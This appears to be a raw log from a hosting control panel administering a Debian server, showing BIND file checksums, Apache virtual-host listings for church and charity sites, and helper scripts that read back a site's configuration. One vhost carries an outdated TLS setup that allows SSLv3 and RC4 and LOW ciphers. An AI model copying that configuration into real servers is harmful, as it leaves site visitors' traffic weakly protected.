	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:29:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp530617; rm /tmp/pkp530617'

2026-01-03 19:29:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:29:19: Establishing a connection
2026-01-03 19:29:19: 

PUT: /tmp/pkp148807

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:29:20: 

chmod 755 /tmp/pkp148807; /tmp/pkp148807; rm /tmp/pkp148807

2026-01-03 19:29:20: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-03 19:29:20: 

PUT: /tmp/pkp521242

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/exjw_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:29:20: 

chmod 755 /tmp/pkp521242; /tmp/pkp521242; rm /tmp/pkp521242

2026-01-03 19:29:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/exjw_www_org-uk.conf	1259

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-03 19:29:20: 

PUT: /tmp/pkp579060

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt')

